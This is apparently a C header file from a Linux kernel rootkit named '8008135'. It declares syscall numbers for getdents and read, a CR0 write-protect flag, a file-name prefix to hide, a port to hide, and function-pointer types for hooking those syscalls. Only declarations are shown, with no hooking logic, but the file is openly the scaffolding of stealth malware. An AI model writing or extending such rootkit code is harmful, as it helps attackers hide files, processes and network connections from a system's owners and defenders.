/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
/*
 * main.c
 * Copyright (C) 2019
 *
 * 8008135 is free software: you can redistribute it and/or modify it
 * under the terms of the GNU General Public License as published by the
 * Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * 8008135 is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 * See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
#ifndef SRC_HEADERS_8008135_H
#define SRC_HEADERS_8008135_H
/****  Includes  ***************************************************************
*******************************************************************************/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <asm/special_insns.h>
#include <linux/string.h>
#include <linux/fs.h>
#include "5y563n.h"

#include <linux/fdtable.h>
#include <linux/net.h>
#include <linux/seq_file.h>
#include <linux/slab.h>
#include <linux/socket.h>
#include <linux/version.h>
#include <net/tcp.h>
#include <net/udp.h>

/****  Defines *****************************************************************
*******************************************************************************/

#define GETDENTS_SYSCALL_NUM	78
#define READ_SYSCALL_NUM		0
#define WRITE_PROTECT_FLAG		(1<<16)

#define HIDE_PREFIX				"8008135."
#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX) - 1)

#define MODULE_NAME				"8008135"
#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)
#define HIDE_PORT "0915" // 2325 in Hexadecimal

/****  Modinfo  ****************************************************************
*******************************************************************************/

MODULE_LICENSE("GPL");
MODULE_AUTHOR("JanKoernerEnterprises");
MODULE_DESCRIPTION("8008135");
MODULE_VERSION("0.1");

/****  type  *******************************************************************
*******************************************************************************/
struct linux_dirent {
	unsigned long	d_ino;
	unsigned long	d_off;
	unsigned short	d_reclen;  // d_reclen is the way to tell the length of this entry
	char		    d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
};

typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
                                          struct linux_dirent __user *dirent,
                                          unsigned int count);
typedef asmlinkage long (*read_ptr)(unsigned int fd, char __user *buf,
                                    size_t count);
#endif /* SRC_HEADERS_8008135_H */